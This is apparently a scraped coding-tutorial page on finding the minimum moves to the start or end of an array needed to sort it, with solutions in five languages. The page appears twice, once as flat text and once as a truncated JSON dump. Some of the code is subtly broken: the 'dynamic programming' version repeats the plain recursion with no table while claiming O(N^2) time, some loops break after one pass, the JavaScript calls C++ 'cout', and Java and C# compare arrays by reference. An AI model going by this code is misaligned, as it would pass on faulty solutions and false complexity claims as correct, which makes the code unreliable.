arr2.length) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1); // Otherwise, excluding the current element return Math.max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j));} // Function that counts the minimum// moves required to sort the arraystatic void minOperationsUtil(int[] arr){ int brr[] = new int[arr.length]; for(int i = 0; i < arr.length; i++) brr[i] = arr[i]; Arrays.sort(brr); // If both the arrays are equal if (arr.equals(brr)) // No moves required System.out.print("0"); // Otherwise else // Print minimum operations required System.out.println(minOperations(arr, brr, 0, 0));} // Driver codepublic static void main(final String[] args){ int arr[] = { 4, 7, 2, 3, 9 }; minOperationsUtil(arr);}} // This code is contributed by bikram2001jha # Python3 program for the above approach # Function that counts the minimum# moves required to convert arr[] to brr[]def minOperations(arr1, arr2, i, j): # Base Case if arr1 == arr2: return 0 if i >= len(arr1) or j >= len(arr2): return 0 # If arr[i] < arr[j] if arr1[i] < arr2[j]: # Include the current element return 1 \ + minOperations(arr1, arr2, i + 1, j + 1) # Otherwise, excluding the current element return max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j)) # Function that counts the minimum# moves required to sort the arraydef minOperationsUtil(arr): brr = sorted(arr); # If both the arrays are equal if(arr == brr): # No moves required print("0") # Otherwise else: # Print minimum operations required print(minOperations(arr, brr, 0, 0)) # Driver Code arr = [4, 7, 2, 3, 9] minOperationsUtil(arr) // C# program for the above approachusing System; class GFG{ // Function that counts the minimum// moves required to convert arr[] to brr[]static int minOperations(int[] arr1, int[] arr2, int i, int j){ // Base Case if (arr1.Equals(arr2)) return 0; if (i >= arr1.Length || j >= arr2.Length) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1); // Otherwise, excluding the current element return Math.Max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j));} // Function that counts the minimum// moves required to sort the arraystatic void minOperationsUtil(int[] arr){ int[] brr = new int[arr.Length]; for(int i = 0; i < arr.Length; i++) brr[i] = arr[i]; Array.Sort(brr); // If both the arrays are equal if (arr.Equals(brr)) // No moves required Console.Write("0"); // Otherwise else // Print minimum operations required Console.WriteLine(minOperations(arr, brr, 0, 0));} // Driver codestatic void Main(){ int[] arr = { 4, 7, 2, 3, 9 }; minOperationsUtil(arr);}} // This code is contributed by divyeshrabadiya07 <script> // Javascript program for the above approach // Function that counts the minimum// moves required to convert arr[] to brr[]function minOperations(arr1, arr2, i, j, n){ // Base Case let f = 0; for(let i = 0; i < n; i++) { if (arr1[i] != arr2[i]) f = 1; break; } if (f == 0) return 0; if (i >= n || j >= n) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1, n); // Otherwise, excluding the current element return Math.max(minOperations(arr1, arr2, i, j + 1, n), minOperations(arr1, arr2, i + 1, j, n));} // Function that counts the minimum// moves required to sort the arrayfunction minOperationsUtil(arr, n){ let brr = new Array(n); for(let i = 0; i < n; i++) brr[i] = arr[i]; brr.sort(); let f = 0; // If both the arrays are equal for(let i = 0; i < n; i++) { if (arr[i] != brr[i]) // No moves required f = 1; break; } // Otherwise if (f == 1) // Print minimum // operations required document.write(minOperations(arr, brr, 0, 0, n)); else cout << "0";} // Driver codelet arr = [ 4, 7, 2, 3, 9 ];let n = arr.length; minOperationsUtil(arr, n); // This code is contributed by Mayank Tyagi </script> 2 Time Complexity: O(2N) Auxiliary Space: O(N) Efficient Approach: The above approach has many overlapping subproblems. Therefore, the above approach can be optimized using Dynamic programming. Follow the steps below to solve the problem: Maintain a 2D array table[][] to store the computed results. Apply recursion to solve the problem using the results of smaller subproblems. If arr1[i] < arr2[j], then return 1 + minOperations(arr1, arr2, i + 1, j – 1, table) Otherwise, either move the i-th element of the array to the end or the j-th element of the array to the front. Therefore, the recurrence relation is: table[i][j] = max(minOperations(arr1, arr2, i, j + 1, table), minOperations(arr1, arr2, i + 1, j, table)) Finally, print the value stored in table[0][N – 1]. Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ program for the above approach#include <bits/stdc++.h>using namespace std; // Function that counts the minimum// moves required to convert arr[] to brr[]int minOperations(int arr1[], int arr2[], int i, int j, int n){ // Base Case int f = 0; for (int i = 0; i < n; i++) { if (arr1[i] != arr2[i]) f = 1; break; } if (f == 0) return 0; if (i >= n || j >= n) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1, n); // Otherwise, excluding the current element return max(minOperations(arr1, arr2, i, j + 1, n), minOperations(arr1, arr2, i + 1, j, n));} // Function that counts the minimum// moves required to sort the arrayvoid minOperationsUtil(int arr[], int n){ int brr[n]; for (int i = 0; i < n; i++) brr[i] = arr[i]; sort(brr, brr + n); int f = 0; // If both the arrays are equal for (int i = 0; i < n; i++) { if (arr[i] != brr[i]) // No moves required f = 1; break; } // Otherwise if (f == 1) // Print minimum // operations required cout << (minOperations(arr, brr, 0, 0, n)); else cout << "0";} // Driver codeint main(){ int arr[] = {4, 7, 2, 3, 9}; int n = sizeof(arr) / sizeof(arr[0]); minOperationsUtil(arr, n);} // This code is contributed by Chitranayal // Java program for the above approachimport java.util.*;import java.io.*;import java.lang.Math; class GFG{ // Function that counts the minimum// moves required to convert arr[] to brr[]static int minOperations(int arr1[], int arr2[], int i, int j){ // Base Case if (arr1.equals(arr2)) return 0; if (i >= arr1.length || j >= arr2.length) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1); // Otherwise, excluding the current element return Math.max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j));} // Function that counts the minimum// moves required to sort the arraystatic void minOperationsUtil(int[] arr){ int brr[] = new int[arr.length]; for(int i = 0; i < arr.length; i++) brr[i] = arr[i]; Arrays.sort(brr); // If both the arrays are equal if (arr.equals(brr)) // No moves required System.out.print("0"); // Otherwise else // Print minimum operations required System.out.println(minOperations(arr, brr, 0, 0));} // Driver codepublic static void main(final String[] args){ int arr[] = { 4, 7, 2, 3, 9 }; minOperationsUtil(arr);}} // This code is contributed by bikram2001jha # Python3 program for the above approach # Function that counts the minimum# moves required to convert arr[] to brr[]def minOperations(arr1, arr2, i, j): # Base Case if arr1 == arr2: return 0 if i >= len(arr1) or j >= len(arr2): return 0 # If arr[i] < arr[j] if arr1[i] < arr2[j]: # Include the current element return 1 \ + minOperations(arr1, arr2, i + 1, j + 1) # Otherwise, excluding the current element return max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j)) # Function that counts the minimum# moves required to sort the arraydef minOperationsUtil(arr): brr = sorted(arr); # If both the arrays are equal if(arr == brr): # No moves required print("0") # Otherwise else: # Print minimum operations required print(minOperations(arr, brr, 0, 0)) # Driver Code arr = [4, 7, 2, 3, 9] minOperationsUtil(arr) // C# program for the above approachusing System; class GFG{ // Function that counts the minimum// moves required to convert arr[] to brr[]static int minOperations(int[] arr1, int[] arr2, int i, int j){ // Base Case if (arr1.Equals(arr2)) return 0; if (i >= arr1.Length || j >= arr2.Length) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1); // Otherwise, excluding the current element return Math.Max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j));} // Function that counts the minimum// moves required to sort the arraystatic void minOperationsUtil(int[] arr){ int[] brr = new int[arr.Length]; for(int i = 0; i < arr.Length; i++) brr[i] = arr[i]; Array.Sort(brr); // If both the arrays are equal if (arr.Equals(brr)) // No moves required Console.Write("0"); // Otherwise else // Print minimum operations required Console.WriteLine(minOperations(arr, brr, 0, 0));} // Driver codestatic void Main(){ int[] arr = { 4, 7, 2, 3, 9 }; minOperationsUtil(arr);}} // This code is contributed by divyeshrabadiya07 <script> // Javascript program for the above approach // Function that counts the minimum// moves required to convert arr[] to brr[]function minOperations(arr1, arr2, i, j, n){ // Base Case let f = 0; for(let i = 0; i < n; i++) { if (arr1[i] != arr2[i]) f = 1; break; } if (f == 0) return 0; if (i >= n || j >= n) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1, n); // Otherwise, excluding the current element return Math.max(minOperations(arr1, arr2, i, j + 1, n), minOperations(arr1, arr2, i + 1, j, n));} // Function that counts the minimum// moves required to sort the arrayfunction minOperationsUtil(arr, n){ let brr = new Array(n); for(let i = 0; i < n; i++) brr[i] = arr[i]; brr.sort(); let f = 0; // If both the arrays are equal for(let i = 0; i < n; i++) { if (arr[i] != brr[i]) // No moves required f = 1; break; } // Otherwise if (f == 1) // Print minimum // operations required document.write(minOperations(arr, brr, 0, 0, n)); else cout << "0";} // Driver codelet arr = [ 4, 7, 2, 3, 9 ];let n = arr.length; minOperationsUtil(arr, n); // This code is contributed by Mayank Tyagi </script> 2 Time Complexity: O(N2) Auxiliary Space: O(N2) We are using two variables namely i and j to determine a unique state of the DP(Dynamic Programming) stage, and each one of i and j can attain N values from 0 to N-1. Thus the recursion will have N*N number of transitions each of O(1) cost. Hence the time complexity is O(N*N). More Efficient Approach: Sort the given array keeping index of elements aside, now find the longest streak of increasing values of index. This longest streak reflects that these elements are already sorted and do the above operation on rest of the elements. Let’s take above array as an example, arr = [8, 2, 1, 5, 4] after sorting their index values will be – [2, 1, 4, 3, 0], here longest streak is 2(1, 4) which means except these 2 numbers we have to follow the above operation and sort the array therefore, 5(arr.length) – 2 = 3 will be the answer. Implementation of above approach: C++ Java Python3 Javascript // C++ algorithm of above approach #include <bits/stdc++.h>#include <vector>using namespace std; // Function to find minimum number of operation required// so that array becomes meaningfulint minOperations(int arr[], int n){ // Initializing vector of pair type which contains value // and index of arr vector<pair<int, int>> vect; for (int i = 0; i < n; i++) { vect.push_back(make_pair(arr[i], i)); } // Sorting array num on the basis of value sort(vect.begin(), vect.end()); // Initializing variables used to find maximum // length of increasing streak in index int res = 1; int streak = 1; int prev = vect[0].second; for (int i = 1; i < n; i++) { if (prev < vect[i].second) { res++; // Updating streak streak = max(streak, res); } else res = 1; prev = vect[i].second; } // Returning number of elements left except streak return n - streak;} // Driver Codeint main(){ int arr[] = { 4, 7, 2, 3, 9 }; int n = sizeof(arr) / sizeof(arr[0]); int count = minOperations(arr, n); cout << count;} // Java algorithm for above approach import java.util.*; class GFG { // Pair class which will store element of array with its // index public static class Pair { int val; int idx; Pair(int val, int idx) { this.val = val; this.idx = idx; } } // Driver code public static void main(String[] args) { int n = 5; int[] arr = { 4, 7, 2, 3, 9 }; System.out.println(minOperations(arr, n)); } // Function to find minimum number of operation required // so that array becomes meaningful public static int minOperations(int[] arr, int n) { // Initializing array of Pair type which can be used // to sort arr with respect to its values Pair[] num = new Pair[n]; for (int i = 0; i < n; i++) { num[i] = new Pair(arr[i], i); } // Sorting array num on the basis of value Arrays.sort(num, (Pair a, Pair b) -> a.val - b.val); // Initializing variables used to find maximum // length of increasing streak in index int res = 1; int streak = 1; int prev = num[0].idx; for (int i = 1; i < n; i++) { if (prev < num[i].idx) { res++; // Updating streak streak = Math.max(res, streak); } else res = 1; prev = num[i].idx; } // Returning number of elements left except streak return n - streak; }} # Python algorithm of above approach # Function to find minimum number of operation required# so that array becomes meaningfuldef minOperations(arr, n): # Initializing vector of pair type which contains value # and index of arr vect = [] for i in range(n): vect.append([arr[i], i]) # Sorting array num on the basis of value vect.sort() # Initializing variables used to find maximum # length of increasing streak in index res = 1 streak = 1 prev = vect[0][1] for i in range(1,n): if (prev < vect[i][1]): res += 1 # Updating streak streak = max(streak, res) else: res = 1 prev = vect[i][1] # Returning number of elements left except streak return n - streak # Driver codearr = [ 4, 7, 2, 3, 9 ]n = len(arr)count = minOperations(arr, n)print(count) # This code is contributed by shinjanpatra. <script> // JavaScript algorithm of above approach // Function to find minimum number of operation required// so that array becomes meaningfulfunction minOperations(arr, n){ // Initializing vector of pair type which contains value // and index of arr let vect = []; for (let i = 0; i < n; i++) { vect.push([arr[i], i]); } // Sorting array num on the basis of value vect.sort(); // Initializing variables used to find maximum // length of increasing streak in index let res = 1; let streak = 1; let prev = vect[0][1]; for (let i = 1; i < n; i++) { if (prev < vect[i][1]) { res++; // Updating streak streak = Math.max(streak, res); } else res = 1; prev = vect[i][1]; } // Returning number of elements left except streak return n - streak;} // driver ocdelet arr = [ 4, 7, 2, 3, 9 ];let n = arr.length;let count = minOperations(arr, n);document.write(count,"</br>"); // This code is contributed by shinjanpatra.</script> 2 Time complexity: O(nlogn) Auxiliary Space: O(n) bikram2001jha ukasp divyeshrabadiya07 grand_master divyesh072019 mayanktyagi1709 mukesh07 anilyogi2801 suresh07 Kdheeraj sagar0719kumar surindertarika1234 shinjanpatra sumitgumber28 array-rearrange Arrays Dynamic Programming Mathematical Recursion Sorting Arrays Dynamic Programming Mathematical Recursion Sorting Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Maximum and minimum of an array using minimum number of comparisons Top 50 Array Coding Problems for Interviews Stack Data Structure (Introduction and Program) Introduction to Arrays Multidimensional Arrays in Java 0-1 Knapsack Problem | DP-10 Program for Fibonacci numbers Longest Common Subsequence | DP-4 Bellman–Ford Algorithm | DP-23 Floyd Warshall Algorithm | DP-16
[ { "code": null, "e": 26251, "s": 26223, "text": "\n25 Apr, 2022" }, { "code": null, "e": 26417, "s": 26251, "text": "Given an array arr[] of size N, the task is to find the minimum moves to the beginning or end of the array required to make the array sorted in non-decreasing order." }, { "code": null, "e": 26428, "s": 26417, "text": "Examples: " }, { "code": null, "e": 26785, "s": 26428, "text": "Input: arr[] = {4, 7, 2, 3, 9} Output: 2 Explanation: Perform the following operations: Step 1: Move the element 3 to the start of the array. Now, arr[] modifies to {3, 4, 7, 2, 9}. Step 2: Move the element 2 to the start of the array. Now, arr[] modifies to {2, 3, 4, 7, 9}. Now, the resultant array is sorted. Therefore, the minimum moves required is 2. " }, { "code": null, "e": 26900, "s": 26785, "text": "Input: arr[] = {1, 4, 5, 7, 12} Output: 0 Explanation: The array is already sorted. Therefore, no moves required. " }, { "code": null, "e": 27131, "s": 26900, "text": "Naive Approach: The simplest approach is to check for every array element, how many moves are required to sort the given array arr[]. For each array element, if it is not at its sorted position, the following possibilities arise: " }, { "code": null, "e": 27177, "s": 27131, "text": "Either move the current element to the front." }, { "code": null, "e": 27225, "s": 27177, "text": "Otherwise, move the current element to the end." }, { "code": null, "e": 27385, "s": 27225, "text": "After performing the above operations, print the minimum number of operations required to make the array sorted. Below is the recurrence relation of the same: " }, { "code": null, "e": 27448, "s": 27385, "text": "If the array arr[] is equal to the array brr[], then return 0." }, { "code": null, "e": 27501, "s": 27448, "text": "If arr[i] < brr[j], then count of operation will be:" }, { "code": null, "e": 27549, "s": 27501, "text": "1 + recursive_function(arr, brr, i + 1, j + 1) " }, { "code": null, "e": 27725, "s": 27549, "text": "Otherwise, the count of operation can be calculated by taking the maximum of the following states: recursive_function(arr, brr, i + 1, j)recursive_function(arr, brr, i, j + 1)" }, { "code": null, "e": 27802, "s": 27725, "text": "recursive_function(arr, brr, i + 1, j)recursive_function(arr, brr, i, j + 1)" }, { "code": null, "e": 27841, "s": 27802, "text": "recursive_function(arr, brr, i + 1, j)" }, { "code": null, "e": 27880, "s": 27841, "text": "recursive_function(arr, brr, i, j + 1)" }, { "code": null, "e": 27931, "s": 27880, "text": "Below is the implementation of the above approach:" }, { "code": null, "e": 27935, "s": 27931, "text": "C++" }, { "code": null, "e": 27940, "s": 27935, "text": "Java" }, { "code": null, "e": 27948, "s": 27940, "text": "Python3" }, { "code": null, "e": 27951, "s": 27948, "text": "C#" }, { "code": null, "e": 27962, "s": 27951, "text": "Javascript" }, { "code": "// C++ program for the above approach#include <bits/stdc++.h>using namespace std; // Function that counts the minimum// moves required to convert arr[] to brr[]int minOperations(int arr1[], int arr2[], int i, int j, int n){ // Base Case int f = 0; for (int i = 0; i < n; i++) { if (arr1[i] != arr2[i]) f = 1; break; } if (f == 0) return 0; if (i >= n || j >= n) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1, n); // Otherwise, excluding the current element return max(minOperations(arr1, arr2, i, j + 1, n), minOperations(arr1, arr2, i + 1, j, n));} // Function that counts the minimum// moves required to sort the arrayvoid minOperationsUtil(int arr[], int n){ int brr[n]; for (int i = 0; i < n; i++) brr[i] = arr[i]; sort(brr, brr + n); int f = 0; // If both the arrays are equal for (int i = 0; i < n; i++) { if (arr[i] != brr[i]) // No moves required f = 1; break; } // Otherwise if (f == 1) // Print minimum // operations required cout << (minOperations(arr, brr, 0, 0, n)); else cout << \"0\";} // Driver codeint main(){ int arr[] = {4, 7, 2, 3, 9}; int n = sizeof(arr) / sizeof(arr[0]); minOperationsUtil(arr, n);} // This code is contributed by Chitranayal", "e": 29468, "s": 27962, "text": null }, { "code": "// Java program for the above approachimport java.util.*;import java.io.*;import java.lang.Math; class GFG{ // Function that counts the minimum// moves required to convert arr[] to brr[]static int minOperations(int arr1[], int arr2[], int i, int j){ // Base Case if (arr1.equals(arr2)) return 0; if (i >= arr1.length || j >= arr2.length) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1); // Otherwise, excluding the current element return Math.max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j));} // Function that counts the minimum// moves required to sort the arraystatic void minOperationsUtil(int[] arr){ int brr[] = new int[arr.length]; for(int i = 0; i < arr.length; i++) brr[i] = arr[i]; Arrays.sort(brr); // If both the arrays are equal if (arr.equals(brr)) // No moves required System.out.print(\"0\"); // Otherwise else // Print minimum operations required System.out.println(minOperations(arr, brr, 0, 0));} // Driver codepublic static void main(final String[] args){ int arr[] = { 4, 7, 2, 3, 9 }; minOperationsUtil(arr);}} // This code is contributed by bikram2001jha", "e": 31037, "s": 29468, "text": null }, { "code": "# Python3 program for the above approach # Function that counts the minimum# moves required to convert arr[] to brr[]def minOperations(arr1, arr2, i, j): # Base Case if arr1 == arr2: return 0 if i >= len(arr1) or j >= len(arr2): return 0 # If arr[i] < arr[j] if arr1[i] < arr2[j]: # Include the current element return 1 \\ + minOperations(arr1, arr2, i + 1, j + 1) # Otherwise, excluding the current element return max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j)) # Function that counts the minimum# moves required to sort the arraydef minOperationsUtil(arr): brr = sorted(arr); # If both the arrays are equal if(arr == brr): # No moves required print(\"0\") # Otherwise else: # Print minimum operations required print(minOperations(arr, brr, 0, 0)) # Driver Code arr = [4, 7, 2, 3, 9] minOperationsUtil(arr)", "e": 32055, "s": 31037, "text": null }, { "code": "// C# program for the above approachusing System; class GFG{ // Function that counts the minimum// moves required to convert arr[] to brr[]static int minOperations(int[] arr1, int[] arr2, int i, int j){ // Base Case if (arr1.Equals(arr2)) return 0; if (i >= arr1.Length || j >= arr2.Length) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1); // Otherwise, excluding the current element return Math.Max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j));} // Function that counts the minimum// moves required to sort the arraystatic void minOperationsUtil(int[] arr){ int[] brr = new int[arr.Length]; for(int i = 0; i < arr.Length; i++) brr[i] = arr[i]; Array.Sort(brr); // If both the arrays are equal if (arr.Equals(brr)) // No moves required Console.Write(\"0\"); // Otherwise else // Print minimum operations required Console.WriteLine(minOperations(arr, brr, 0, 0));} // Driver codestatic void Main(){ int[] arr = { 4, 7, 2, 3, 9 }; minOperationsUtil(arr);}} // This code is contributed by divyeshrabadiya07", "e": 33572, "s": 32055, "text": null }, { "code": "<script> // Javascript program for the above approach // Function that counts the minimum// moves required to convert arr[] to brr[]function minOperations(arr1, arr2, i, j, n){ // Base Case let f = 0; for(let i = 0; i < n; i++) { if (arr1[i] != arr2[i]) f = 1; break; } if (f == 0) return 0; if (i >= n || j >= n) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1, n); // Otherwise, excluding the current element return Math.max(minOperations(arr1, arr2, i, j + 1, n), minOperations(arr1, arr2, i + 1, j, n));} // Function that counts the minimum// moves required to sort the arrayfunction minOperationsUtil(arr, n){ let brr = new Array(n); for(let i = 0; i < n; i++) brr[i] = arr[i]; brr.sort(); let f = 0; // If both the arrays are equal for(let i = 0; i < n; i++) { if (arr[i] != brr[i]) // No moves required f = 1; break; } // Otherwise if (f == 1) // Print minimum // operations required document.write(minOperations(arr, brr, 0, 0, n)); else cout << \"0\";} // Driver codelet arr = [ 4, 7, 2, 3, 9 ];let n = arr.length; minOperationsUtil(arr, n); // This code is contributed by Mayank Tyagi </script>", "e": 35183, "s": 33572, "text": null }, { "code": null, "e": 35185, "s": 35183, "text": "2" }, { "code": null, "e": 35231, "s": 35185, "text": "Time Complexity: O(2N) Auxiliary Space: O(N) " }, { "code": null, "e": 35424, "s": 35231, "text": "Efficient Approach: The above approach has many overlapping subproblems. Therefore, the above approach can be optimized using Dynamic programming. Follow the steps below to solve the problem: " }, { "code": null, "e": 35485, "s": 35424, "text": "Maintain a 2D array table[][] to store the computed results." }, { "code": null, "e": 35564, "s": 35485, "text": "Apply recursion to solve the problem using the results of smaller subproblems." }, { "code": null, "e": 35649, "s": 35564, "text": "If arr1[i] < arr2[j], then return 1 + minOperations(arr1, arr2, i + 1, j – 1, table)" }, { "code": null, "e": 35799, "s": 35649, "text": "Otherwise, either move the i-th element of the array to the end or the j-th element of the array to the front. Therefore, the recurrence relation is:" }, { "code": null, "e": 35905, "s": 35799, "text": "table[i][j] = max(minOperations(arr1, arr2, i, j + 1, table), minOperations(arr1, arr2, i + 1, j, table))" }, { "code": null, "e": 35957, "s": 35905, "text": "Finally, print the value stored in table[0][N – 1]." }, { "code": null, "e": 36009, "s": 35957, "text": "Below is the implementation of the above approach: " }, { "code": null, "e": 36013, "s": 36009, "text": "C++" }, { "code": null, "e": 36018, "s": 36013, "text": "Java" }, { "code": null, "e": 36026, "s": 36018, "text": "Python3" }, { "code": null, "e": 36029, "s": 36026, "text": "C#" }, { "code": null, "e": 36040, "s": 36029, "text": "Javascript" }, { "code": "// C++ program for the above approach#include <bits/stdc++.h>using namespace std; // Function that counts the minimum// moves required to convert arr[] to brr[]int minOperations(int arr1[], int arr2[], int i, int j, int n){ // Base Case int f = 0; for (int i = 0; i < n; i++) { if (arr1[i] != arr2[i]) f = 1; break; } if (f == 0) return 0; if (i >= n || j >= n) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1, n); // Otherwise, excluding the current element return max(minOperations(arr1, arr2, i, j + 1, n), minOperations(arr1, arr2, i + 1, j, n));} // Function that counts the minimum// moves required to sort the arrayvoid minOperationsUtil(int arr[], int n){ int brr[n]; for (int i = 0; i < n; i++) brr[i] = arr[i]; sort(brr, brr + n); int f = 0; // If both the arrays are equal for (int i = 0; i < n; i++) { if (arr[i] != brr[i]) // No moves required f = 1; break; } // Otherwise if (f == 1) // Print minimum // operations required cout << (minOperations(arr, brr, 0, 0, n)); else cout << \"0\";} // Driver codeint main(){ int arr[] = {4, 7, 2, 3, 9}; int n = sizeof(arr) / sizeof(arr[0]); minOperationsUtil(arr, n);} // This code is contributed by Chitranayal", "e": 37546, "s": 36040, "text": null }, { "code": "// Java program for the above approachimport java.util.*;import java.io.*;import java.lang.Math; class GFG{ // Function that counts the minimum// moves required to convert arr[] to brr[]static int minOperations(int arr1[], int arr2[], int i, int j){ // Base Case if (arr1.equals(arr2)) return 0; if (i >= arr1.length || j >= arr2.length) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1); // Otherwise, excluding the current element return Math.max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j));} // Function that counts the minimum// moves required to sort the arraystatic void minOperationsUtil(int[] arr){ int brr[] = new int[arr.length]; for(int i = 0; i < arr.length; i++) brr[i] = arr[i]; Arrays.sort(brr); // If both the arrays are equal if (arr.equals(brr)) // No moves required System.out.print(\"0\"); // Otherwise else // Print minimum operations required System.out.println(minOperations(arr, brr, 0, 0));} // Driver codepublic static void main(final String[] args){ int arr[] = { 4, 7, 2, 3, 9 }; minOperationsUtil(arr);}} // This code is contributed by bikram2001jha", "e": 39115, "s": 37546, "text": null }, { "code": "# Python3 program for the above approach # Function that counts the minimum# moves required to convert arr[] to brr[]def minOperations(arr1, arr2, i, j): # Base Case if arr1 == arr2: return 0 if i >= len(arr1) or j >= len(arr2): return 0 # If arr[i] < arr[j] if arr1[i] < arr2[j]: # Include the current element return 1 \\ + minOperations(arr1, arr2, i + 1, j + 1) # Otherwise, excluding the current element return max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j)) # Function that counts the minimum# moves required to sort the arraydef minOperationsUtil(arr): brr = sorted(arr); # If both the arrays are equal if(arr == brr): # No moves required print(\"0\") # Otherwise else: # Print minimum operations required print(minOperations(arr, brr, 0, 0)) # Driver Code arr = [4, 7, 2, 3, 9] minOperationsUtil(arr)", "e": 40133, "s": 39115, "text": null }, { "code": "// C# program for the above approachusing System; class GFG{ // Function that counts the minimum// moves required to convert arr[] to brr[]static int minOperations(int[] arr1, int[] arr2, int i, int j){ // Base Case if (arr1.Equals(arr2)) return 0; if (i >= arr1.Length || j >= arr2.Length) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1); // Otherwise, excluding the current element return Math.Max(minOperations(arr1, arr2, i, j + 1), minOperations(arr1, arr2, i + 1, j));} // Function that counts the minimum// moves required to sort the arraystatic void minOperationsUtil(int[] arr){ int[] brr = new int[arr.Length]; for(int i = 0; i < arr.Length; i++) brr[i] = arr[i]; Array.Sort(brr); // If both the arrays are equal if (arr.Equals(brr)) // No moves required Console.Write(\"0\"); // Otherwise else // Print minimum operations required Console.WriteLine(minOperations(arr, brr, 0, 0));} // Driver codestatic void Main(){ int[] arr = { 4, 7, 2, 3, 9 }; minOperationsUtil(arr);}} // This code is contributed by divyeshrabadiya07", "e": 41650, "s": 40133, "text": null }, { "code": "<script> // Javascript program for the above approach // Function that counts the minimum// moves required to convert arr[] to brr[]function minOperations(arr1, arr2, i, j, n){ // Base Case let f = 0; for(let i = 0; i < n; i++) { if (arr1[i] != arr2[i]) f = 1; break; } if (f == 0) return 0; if (i >= n || j >= n) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1, n); // Otherwise, excluding the current element return Math.max(minOperations(arr1, arr2, i, j + 1, n), minOperations(arr1, arr2, i + 1, j, n));} // Function that counts the minimum// moves required to sort the arrayfunction minOperationsUtil(arr, n){ let brr = new Array(n); for(let i = 0; i < n; i++) brr[i] = arr[i]; brr.sort(); let f = 0; // If both the arrays are equal for(let i = 0; i < n; i++) { if (arr[i] != brr[i]) // No moves required f = 1; break; } // Otherwise if (f == 1) // Print minimum // operations required document.write(minOperations(arr, brr, 0, 0, n)); else cout << \"0\";} // Driver codelet arr = [ 4, 7, 2, 3, 9 ];let n = arr.length; minOperationsUtil(arr, n); // This code is contributed by Mayank Tyagi </script>", "e": 43261, "s": 41650, "text": null }, { "code": null, "e": 43263, "s": 43261, "text": "2" }, { "code": null, "e": 43286, "s": 43263, "text": "Time Complexity: O(N2)" }, { "code": null, "e": 43309, "s": 43286, "text": "Auxiliary Space: O(N2)" }, { "code": null, "e": 43587, "s": 43309, "text": "We are using two variables namely i and j to determine a unique state of the DP(Dynamic Programming) stage, and each one of i and j can attain N values from 0 to N-1. Thus the recursion will have N*N number of transitions each of O(1) cost. Hence the time complexity is O(N*N)." }, { "code": null, "e": 44141, "s": 43587, "text": "More Efficient Approach: Sort the given array keeping index of elements aside, now find the longest streak of increasing values of index. This longest streak reflects that these elements are already sorted and do the above operation on rest of the elements. Let’s take above array as an example, arr = [8, 2, 1, 5, 4] after sorting their index values will be – [2, 1, 4, 3, 0], here longest streak is 2(1, 4) which means except these 2 numbers we have to follow the above operation and sort the array therefore, 5(arr.length) – 2 = 3 will be the answer." }, { "code": null, "e": 44175, "s": 44141, "text": "Implementation of above approach:" }, { "code": null, "e": 44179, "s": 44175, "text": "C++" }, { "code": null, "e": 44184, "s": 44179, "text": "Java" }, { "code": null, "e": 44192, "s": 44184, "text": "Python3" }, { "code": null, "e": 44203, "s": 44192, "text": "Javascript" }, { "code": "// C++ algorithm of above approach #include <bits/stdc++.h>#include <vector>using namespace std; // Function to find minimum number of operation required// so that array becomes meaningfulint minOperations(int arr[], int n){ // Initializing vector of pair type which contains value // and index of arr vector<pair<int, int>> vect; for (int i = 0; i < n; i++) { vect.push_back(make_pair(arr[i], i)); } // Sorting array num on the basis of value sort(vect.begin(), vect.end()); // Initializing variables used to find maximum // length of increasing streak in index int res = 1; int streak = 1; int prev = vect[0].second; for (int i = 1; i < n; i++) { if (prev < vect[i].second) { res++; // Updating streak streak = max(streak, res); } else res = 1; prev = vect[i].second; } // Returning number of elements left except streak return n - streak;} // Driver Codeint main(){ int arr[] = { 4, 7, 2, 3, 9 }; int n = sizeof(arr) / sizeof(arr[0]); int count = minOperations(arr, n); cout << count;}", "e": 45335, "s": 44203, "text": null }, { "code": "// Java algorithm for above approach import java.util.*; class GFG 